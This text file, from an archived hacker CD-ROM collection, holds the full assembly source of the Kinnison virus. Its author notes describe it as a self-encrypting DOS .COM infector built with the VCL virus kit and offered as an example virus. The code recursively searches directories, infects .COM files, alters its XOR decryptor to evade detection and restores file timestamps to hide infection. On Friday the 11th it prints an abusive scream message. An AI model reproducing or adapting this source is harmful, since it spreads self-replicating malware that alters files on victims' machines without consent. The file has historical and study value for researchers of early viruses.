home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / kinnison.src < prev    next >
Text File  |  1995-01-03  |  27KB  |  361 lines

  1. A few notes on the Kinnison Virus                                        
  2. ---------------------------------                                        
  3.                                                                          
  4.   Kinnison  was  made with VCL 0.75 beta, and its source was unmodified. 
  5. The resulting .COM was attached to a dummy file (5 NOPs and an INT 020h) 
  6. so that it would be  encrypted  (it uses a self-modifying XOR encryption 
  7. routine  that 's  only  twelve  bytes  long).   It  is a self-encrypting 
  8. appending  .COM  infector.  It has a 50% chance of  spreading  down  the 
  9. directory tree on  each  execution.   The  Kinnison virus goes off every 
  10. Friday the 11th, the weekday and date that Sam Kinnison was killed in an 
  11. auto accident.  At that point Kinnison  "screams"  at the user.  Nothing 
  12. else is done, and there is no disk damage.                               
  13.                                                                          
  14.   If you have any comments or suggestions for Kinnison  (which I plan to 
  15. distribute with VCL as an example virus) or VCL (code, etc.), please let 
  16. me know.                                                                 
  17.         Thanks.                                                          
  18.                         --Nowhere Man, [NuKE] '92                        
  19.                                                                          
  20.                                                                          
  21. ; KINNISON.ASM -- Sam Kinnison virus                                     
  22. ; Created by Nowhere Man's Virus Creation Labratory v0.75                
  23. ; Written by Nowhere Man                                                 
  24.                                                                          
  25. virus_type  equ     0                                                    
  26.                                                                          
  27. code        segment 'CODE'                                               
  28.             assume  cs:code,ds:code,es:code,ss:code                      
  29.             org     0100h                                                
  30.                                                                          
  31. main        proc    near                                                 
  32. flag:       mov     ah,0                                                 
  33.             nop                                                          
  34.             nop                                                          
  35.             jmp     start                   ;Would be at start of victim 
  36.             nop                                                          
  37.             nop                                                          
  38. start:      call    find_offset        ; Push IP on to stack, advance IP 
  39. find_offset:pop     di                      ; DI holds old IP            
  40.             sub     di,3                    ; Adjust for length of CALL  
  41.             lea     si,[di + start_of_code - start]  ; SI points to code 
  42.             call    encrypt_decrypt         ; Decrypt the code           
  43.                                                                          
  44. start_of_code   label   near                                             
  45.                                                                          
  46.             push    di                      ; Save DI                    
  47.             mov     si,offset flag          ; SI points to flag bytes    
  48.             lea     di,[di + new_jump - start] ;DI points 2 start of jmp 
  49.             movsw                           ; Transfer two bytes         
  50.             movsw                           ; Transfer two bytes         
  51.             pop     di                      ; Restore DI                 
  52.             push    di                      ; And save it for later      
  53.             lea     si,[di + buffer - start]; SI points to old start     
  54.             mov     di,0100h                ; DI points to start of code 
  55.             movsw                           ; Transfer two bytes         
  56.             movsw                           ; Transfer two bytes         
  57.             movsw                           ; Transfer two bytes         
  58.             movsb                           ; Transfer final byte        
  59.             pop     di                      ; Restore DI                 
  60.             mov     bp,sp                   ; BP points to stack         
  61.             sub     sp,128                  ;Allocate 128 bytes on stack 
  62.             mov     ah,02Fh                 ; DOS get DTA function       
  63.             int     021h                                                 
  64.             push    bx                    ;Save old DTA address on stack 
  65.             mov     ah,01Ah                 ; DOS set DTA function       
  66.             lea     dx,[bp - 128]         ;DX points to buffer on stack  
  67.             int     021h                                                 
  68.             call    get_day                                              
  69.             cmp     ax,000Bh                                             
  70.             jne     end00                                                
  71.             call    get_weekday                                          
  72.             cmp     ax,0005h                                             
  73.             jne     end00                                                
  74.             mov     cx,0003h                                             
  75.             call    beep                                                 
  76. end00:      xor     ah,ah                   ; BIOS get time function     
  77.             int     01Ah                                                 
  78.             test    dx,0001h                                             
  79.             jne     no_infection                                         
  80.             call    search_files                                         
  81. no_infection:                                                            
  82.             call    get_day                                              
  83.             cmp     ax,000Bh                                             
  84.             jne     end01                                                
  85.             call    get_weekday                                          
  86.             cmp     ax,0005h                                             
  87.             jne     end01                                                
  88.             lea     si,[di + data00 - start]        ; SI points to data  
  89.             call    display_string                                       
  90. end01:      pop     dx                   ; DX holds original DTA address 
  91.             mov     ah,01Ah                 ; DOS set DTA function       
  92.             int     021h                                                 
  93.             mov     sp,bp                   ; Deallocate local buffer    
  94.             mov     di,0100h                ; Push 0100h on to stack for 
  95.             push    di                      ; return to main program     
  96.             xor     ax,ax                   ;                            
  97.             mov     bx,ax                   ;                            
  98.             mov     cx,ax                   ;                            
  99.             mov     dx,ax                   ;  Empty out the registers   
  100.             mov     si,ax                   ;                            
  101.             mov     di,ax                   ;                            
  102.             mov     bp,ax                   ;                            
  103.             ret                             ; Return to original program 
  104. main        endp                                                         
  105.                                                                          
  106. search_files    proc    near                                             
  107.             push    bp                      ; Save BP                    
  108.             mov     bp,sp                   ; BP points to local buffer  
  109.             sub     sp,64                   ; Allocate 64 bytes on stack 
  110.             mov     ah,047h               ; DOS get current dir function 
  111.             xor     dl,dl                   ; DL holds drive # (current) 
  112.             lea     si,[bp - 64]            ;SI points to 64-byte buffer 
  113.             int     021h                                                 
  114.             mov     ah,03Bh              ; DOS change directory function 
  115.             lea     dx,[di + root - start]  ;DX points to root directory 
  116.             int     021h                                                 
  117.             call    traverse                ; Start the traversal        
  118.             mov     ah,03Bh              ; DOS change directory function 
  119.             lea     dx,[bp - 64]            ; DX points to old directory 
  120.             int     021h                                                 
  121.             mov     sp,bp                   ; Restore old stack pointer  
  122.             pop     bp                      ; Restore BP                 
  123.             ret                             ; Return to caller           
  124. root        db      "\",0                   ; Root directory             
  125. search_files    endp                                                     
  126.                                                                          
  127. traverse        proc    near                                             
  128.             push    bp                      ; Save BP                    
  129.             mov     ah,02Fh                 ; DOS get DTA function       
  130.             int     021h                                                 
  131.             push    bx                      ; Save old DTA address       
  132.             mov     bp,sp                   ; BP points to local buffer  
  133.             sub     sp,128                  ;Allocate 128 bytes on stack 
  134.             mov     ah,01Ah                 ; DOS set DTA function       
  135.             lea     dx,[bp - 128]           ; DX points to buffer        
  136.             int     021h                                                 
  137.             mov     ah,04Eh                 ; DOS find first function    
  138.             mov     cx,00010000b            ; CX holds search attributes 
  139.             mov     dx,offset all_files     ; DX points to "*.*"         
  140.             int     021h                                                 
  141.             jc      leave_traverse          ; Leave if no files present  
  142.                                                                          
  143. check_dir:  cmp     byte ptr [bp - 107],16  ; Is the file a directory?   
  144.             jne     another_dir             ; If not, try again          
  145.             cmp     byte ptr [bp - 98],'.'  ; Did we get a "." or ".."?  
  146.             je      another_dir             ;If so, keep going           
  147.             mov     ah,03Bh              ; DOS change directory function 
  148.             lea     dx,[bp - 98]            ; DX points to new directory 
  149.             int     021h                                                 
  150.             call    traverse                ; Recursively call ourself   
  151.             mov     ah,03Bh              ; DOS change directory function 
  152.             lea     dx,[di + up_dir - start]; DX points to parent dir    
  153.             int     021h                                                 
  154. another_dir:                                                             
  155.             mov     ah,04Fh                 ; DOS find next function     
  156.             int     021h                                                 
  157.             jnc     check_dir               ; If found check the file    
  158.                                                                          
  159. leave_traverse:                                                          
  160.             lea     dx,[di + com_mask - start]  ; DX points to "*.COM"   
  161.             call    find_files              ; Try to infect a file       
  162. done_searching:                                                          
  163.             mov     sp,bp                   ; Restore old stack frame    
  164.             mov     ah,01Ah                 ; DOS set DTA function       
  165.             pop     dx                      ; Retrieve old DTA address   
  166.             int     021h                                                 
  167.             pop     bp                      ; Restore BP                 
  168.             ret                             ; Return to caller           
  169. up_dir      db      "..",0                  ; Parent directory name      
  170. all_files   db      "*.*",0                 ; Directories to search for  
  171. com_mask    db      "*.COM",0               ; Mask for all .COM files    
  172. traverse        endp                                                     
  173.                                                                          
  174. find_files      proc    near                                             
  175.             push    bp                      ; Save BP                    
  176.                                                                          
  177.             mov     ah,02Fh                 ; DOS get DTA function       
  178.             int     021h                                                 
  179.             push    bx                      ; Save old DTA address       
  180.             mov     bp,sp                   ; BP points to local buffer  
  181.             sub     sp,128                  ;Allocate 128 bytes on stack 
  182.             push    dx                      ; Save file mask             
  183.             mov     ah,01Ah                 ; DOS set DTA function       
  184.             lea     dx,[bp - 128]           ; DX points to buffer        
  185.             int     021h                                                 
  186.             mov     ah,04Eh               ; DOS find first file function 
  187.             mov     cx,00100111b          ; CX holds all file attributes 
  188.             pop     dx                      ; Restore file mask          
  189. find_a_file:                                                             
  190.             int     021h                                                 
  191.             jc      done_finding            ; Exit if no files found     
  192.             call    infect_file             ; Infect the file!           
  193.             jnc     done_finding            ; Exit if no error           
  194.             mov     ah,04Fh                 ;DOS find next file function 
  195.             jmp     short find_a_file       ; Try finding another file   
  196.                                                                          
  197. done_finding:                                                            
  198.             mov     sp,bp                   ; Restore old stack frame    
  199.             mov     ah,01Ah                 ; DOS set DTA function       
  200.             pop     dx                      ; Retrieve old DTA address   
  201.             int     021h                                                 
  202.             pop     bp                      ; Restore BP                 
  203.             ret                             ; Return to caller           
  204. find_files      endp                                                     
  205.                                                                          
  206. infect_file     proc    near                                             
  207.             mov     ah,02Fh               ; DOS get DTA address function 
  208.             int     021h                                                 
  209.             mov     si,bx                   ; SI points to the DTA       
  210.             mov     ax,04301h         ; DOS set file attributes function 
  211.             xor     cx,cx                   ; Clear all attributes       
  212.             lea     dx,[si + 01Eh]          ; DX points to victim's name 
  213.             int     021h                                                 
  214.             mov     ax,03D02h               ; DOS open file function,r/w 
  215.             int     021h                                                 
  216.             xchg    bx,ax                   ; BX holds file handle       
  217.             mov     ah,03Fh                 ;DOS read from file function 
  218.             mov     cx,7                    ; CX holds bytes to read (7) 
  219.             lea     dx,[di + buffer - start]; DX points to buffer        
  220.             int     021h                                                 
  221.             push    si                  ;Save DTA address before compare 
  222.           mov     byte ptr [di + set_carry - start],0 ;Assume we'll fail 
  223.             lea     si,[di + buffer - start]; SI points to comparison    
  224.             push    di                      ; Save virus offset          
  225.             lea     di,[di + new_jump - start]  ; DI points to virus flg 
  226.             mov     cx,4                    ; CX holds number of bytes   
  227.             rep     cmpsb                           ; Compare the first  
  228.             pop     di                      ; Restore DI                 
  229.             je      close_it_up             ; If equal then close up     
  230.             mov     byte ptr [di + set_carry - start],1  ; Success --    
  231.             cwd                             ; Zero CX _ Zero bytes from  
  232.             mov     cx,dx                   ; Zero DX /                  
  233.             mov     ax,04200h               ; DOS file seek function,    
  234.             int     021h                                                 
  235.             mov     ax,04202h               ; DOS file seek function,EOF 
  236.             cwd                             ; Zero DX _ Zero bytes from  
  237.             mov     cx,dx                   ; Zero CX /                  
  238.             int     021h                                                 
  239.             sub     ax,7                    ; Prepare for JMP            
  240.             mov     word ptr [di + new_jump + 5 - start],ax  ; Construct 
  241.             call    encrypt_code            ; Make an encrypted copy of  
  242.             mov     ah,040h                 ; DOS write to file function 
  243.             mov     cx,finish - start       ; CX holds virus length      
  244.             lea     dx,[di + finish - start] ;DX points to encrypted copy
  245.             int     021h                                                 
  246.             cwd                             ; Zero DX _ Zero bytes from  
  247.             mov     cx,dx                   ; Zero CX /                  
  248.             mov     ax,04200h               ; DOS file seek function,    
  249.             int     021h                                                 
  250.             mov     ah,040h                 ; DOS write to file function 
  251.             mov     cx,7                    ; CX holds bytes to write (7 
  252.             lea     dx,[di + new_jump - start]  ; DX points to the jump  
  253.             int     021h                                                 
  254. close_it_up:                                                             
  255.             pop     si                      ; Restore DTA address        
  256.             mov     ax,05701h               ; DOS set file time function 
  257.             mov     cx,[si + 016h]          ; CX holds old file time     
  258.             mov     dx,[si + 018h]          ; DX holds old file date     
  259.             int     021h                                                 
  260.             mov     ah,03Eh                 ; DOS close file function    
  261.             int     021h                                                 
  262.             mov     ax,04301h               ; DOS set file attributes fu 
  263.             xor     ch,ch                   ; Clear CH for file attribut 
  264.             mov     cl,[si + 015h]          ; CX holds file's old attrib 
  265.             lea     dx,[si + 01Eh]          ; DX points to victim's name 
  266.             int     021h                                                 
  267. infection_done: cmp     byte ptr [di + set_carry - start],1  ; Set carry 
  268.                 ret                             ; Return to caller       
  269. set_carry       db      ?                       ; Set-carry-on-exit flag 
  270. buffer          db      5 dup (090h),0CDh,020h  ; Buffer to hold test    
  271. new_jump        db      4 dup (?),0E9h,?,?      ; New jump to virus      
  272. infect_file     endp                                                     
  273. beep            proc    near                                             
  274.                 jcxz    beep_end                ; Exit if there are no   
  275.                 mov     ax,0E07h                ; BIOS display char.BELL 
  276. beep_loop:      int     010h                    ; Beep                   
  277.                 loop    beep_loop               ; Beep until --CX = 0    
  278. beep_end:       ret                             ; Return to caller       
  279. beep            endp                                                     
  280. display_string  proc    near                                             
  281.                 mov     ah,0Eh                  ; BIOS display char. fun 
  282. display_loop:   lodsb                           ; Load the next char. in 
  283.                 or      al,al                   ; Is the character a nul 
  284.                 je      disp_strnend            ; If it is, exit         
  285.                 int     010h                    ; BIOS video interrupt   
  286.                 jmp     short display_loop      ; Do the next character  
  287. disp_strnend:   ret                             ; Return to caller       
  288. display_string  endp                                                     
  289. get_day         proc    near                                             
  290.                 mov     ah,02Ah                 ; DOS get date function  
  291.                 int     021h                                             
  292.                 mov     al,dl                   ; Copy day into AL       
  293.                 cbw                             ; Sign-extend AL into AX 
  294.                 ret                             ; Return to caller       
  295. get_day         endp                                                     
  296. get_weekday     proc    near                                             
  297.                 mov     ah,02Ah                 ; DOS get date function  
  298.                 int     021h                                             
  299.                 cbw                             ; Sign-extend AL into AX 
  300.                 ret                             ; Return to caller       
  301. get_weekday     endp                                                     
  302. data00          db      "DIE BITCH!!!!! AHHHHHHHH!!!!!!!",13,10,0        
  303. vcl_marker      db      "[VCL]",0                       ; VCL creation   
  304. note            db      "Dedicated to the memory of"                     
  305.                 db      "   Sam Kinnison 1954-1992",0                    
  306.                 db      "[Kinnison]",0                                   
  307.                 db      "Nowhere Man, [NuKE] '92",0                      
  308. encrypt_code    proc    near                                             
  309.                 push    bx                      ; Save BX                
  310.                 push    di                      ; Save DI                
  311.                 lea     si,[di + encrypt_decrypt - start]  ; SI points   
  312.                 xor     ah,ah                   ; BIOS get time function 
  313.                 int     01Ah                                             
  314.                 or      dx,1                    ; Insure we never get 0  
  315.                 mov     word ptr [si + 5],dx    ; Low word of timer is n 
  316. alter_flag:     mov     al,0                    ; AL holds alteration fl 
  317.                 inc     byte ptr [di + (alter_flag + 1) - start]  ; Togg 
  318.                 test    al,1                    ; Is bit one set?        
  319.                 jne     check_nop               ; If not then don't togg 
  320.                 xor     byte ptr [si],0110b     ; Change all BPs in star 
  321.                 xor     byte ptr [si + 4],010b  ; to BXs, and vice-versa 
  322.                 xor     byte ptr [si + 7],0110b ;                        
  323.                                                                          
  324. check_nop:      test    al,2                    ; Is bit two set?        
  325.                 jne     do_encryption           ; If not then don't togg 
  326.                 mov     ax,word ptr [si + 7]    ; AX holds INC/NOP       
  327.                 xchg    ah,al                   ; Exchange position of I 
  328.                 mov     word ptr [si + 7],ax    ; Put the word back      
  329.                                                                          
  330. do_encryption:  mov     si,di                   ; SI points to start of  
  331.                 lea     di,[di + finish - start]        ; DI points past 
  332.                 mov     cx,(finish - start) / 2 ; CX holds words to tran 
  333.                 rep     movsw                           ; Copy the code  
  334.                 pop     di                      ; Restore DI             
  335.             lea     si,[di + (finish + (start_of_code - start)) - start] 
  336.                                            ; SI points to code to encrypt
  337.                 call    encrypt_decrypt         ; Encrypt the code       
  338.                 pop     bx                      ; Restore BX             
  339.                 ret                             ; Return to caller       
  340. encrypt_code    endp                                                     
  341.                                                                          
  342. even                                            ; Must be on an even bou 
  343.                                                                          
  344. end_of_code     label   near                                             
  345.                                                                          
  346. encrypt_decrypt proc    near                                             
  347.                 mov     bp,end_of_code - start_of_code - 2  ; BP holds   
  348. xor_loop:       db      081h,032h,00h,00h       ; XOR a word with the ke 
  349.                 dec     bp                      ; Do the next byte       
  350.                 nop                             ; Used to throw off dete 
  351.                 jne     xor_loop                ; Repeat until we're don 
  352.                 ret                             ; Return to caller       
  353. encrypt_decrypt endp                                                     
  354. finish          label   near                                             
  355.                                                                          
  356. code            ends                                                     
  357.                 end     main                                             
  358.  
  359.  
  360. Downloaded From P-80 International Information Systems 304-744-2253
  361.